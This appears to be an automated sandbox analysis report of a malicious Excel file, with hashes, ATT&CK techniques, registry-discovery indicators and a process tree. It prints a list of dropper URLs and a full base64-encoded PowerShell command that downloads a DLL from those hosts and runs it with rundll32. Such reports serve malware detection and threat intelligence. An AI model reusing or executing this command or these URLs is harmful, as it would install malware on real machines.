223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d

General

Target

223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls
Size

144KB
MD5

c1fa1f292a680c4b364f181a890b9d9b
SHA1

f2c784cfcca452022d9e39fa8310e5ba6b93054b
SHA256

223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d
SHA512

1c4157daf0ad7d97af5bed5505320e9df6c5d2acc2a2f98f94814057501f47962db58df72b74ce49ff91ae0aafcfea9692d3fefa308bd2e4f1c0f8d9579f2b53
SSDEEP

3072:n7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxG:7cKoSsxzNDZLDZjlbR868O8K0c03D389

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://althyplane.com/wp-admin/ELWa8YcOqlJn/

exe.dropper

http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/

exe.dropper

http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/

exe.dropper

http://1asehrgut.com/dup-installer/3vESrkJAS97l/

exe.dropper

http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/

exe.dropper

http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/

exe.dropper

http://dreamcityimprov.com/d5759pd/yzbV45v1nY/

exe.dropper

http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/

exe.dropper

http://batumi4u.com/nwj7iw/jgiK2uwhsu/

exe.dropper

http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/

exe.dropper

http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/

exe.dropper

http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3412	4184	cmd.exe	82

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	Process
24	2956	powershell.exe
26	2956	powershell.exe
33	2956	powershell.exe
37	2956	powershell.exe
42	2956	powershell.exe
47	2956	powershell.exe
49	2956	powershell.exe
51	2956	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

rundll32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
4184	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
2956	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	Process
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	Process	procid_target
PID 4184 wrote to memory of 3412	4184	EXCEL.EXE	87
PID 4184 wrote to memory of 3412	4184	EXCEL.EXE	87
PID 3412 wrote to memory of 2956	3412	cmd.exe	89
PID 3412 wrote to memory of 2956	3412	cmd.exe	89
PID 2956 wrote to memory of 4240	2956	powershell.exe	101
PID 2956 wrote to memory of 4240	2956	powershell.exe	101
PID 2956 wrote to memory of 4240	2956	powershell.exe	101

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1440897154.dll,f2071155984
      4⤵
      System Location Discovery: System Language Discovery
      PID:4240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgp2qld1.q3n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
9dab75915bf51fb7ed6da008807dc41b

SHA1
f895a4546971e14882f456fdbc511639c5a8a6c2

SHA256
5d3ec6864b08e25f2aa51145c4ae40e0af4a38ed903319215c1c753b43d42566

SHA512
2247d8a8029dfab967233d78dd9de5edc31a9854fbfa21c8537b3b8c9eb792a00c353262db27ae5c05b58d807b664e70d9d4956ecd1d66231991b221c9e3b467

Download Submit
C:\programdata\cbjwektde.bat

Filesize
3KB

MD5
a90319111c2f42a9c83a3a2bc2613d74

SHA1
bf1171da149442a511a946ded726b94c1ad7cf85

SHA256
763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51

SHA512
1358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7

Download Submit
\??\c:\programdata\1440897154.dll

Filesize
78KB

MD5
8eab8e846d9b913068a1cf73cb18a28f

SHA1
5cc18dd51d120383a1636285e6b970d3bea2759e

SHA256
ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35

SHA512
55fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646

Download Submit
memory/2956-114-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/2956-105-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/2956-101-0x00000201333B0000-0x0000020133B56000-memory.dmp

Filesize
7.6MB

Download
memory/2956-91-0x0000020132660000-0x0000020132682000-memory.dmp

Filesize
136KB

Download
memory/2956-85-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-10-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-1-0x00007FF8F9F2D000-0x00007FF8F9F2E000-memory.dmp

Filesize
4KB

Download
memory/4184-6-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-13-0x00007FF8B7790000-0x00007FF8B77A0000-memory.dmp

Filesize
64KB

Download
memory/4184-5-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-14-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-15-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-17-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-18-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-16-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-36-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-37-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-12-0x00007FF8B7790000-0x00007FF8B77A0000-memory.dmp

Filesize
64KB

Download
memory/4184-9-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-11-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-8-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-96-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-97-0x00007FF8F9F2D000-0x00007FF8F9F2E000-memory.dmp

Filesize
4KB

Download
memory/4184-7-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/4184-103-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-104-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/4184-2-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/4184-3-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/4184-4-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/4184-0-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads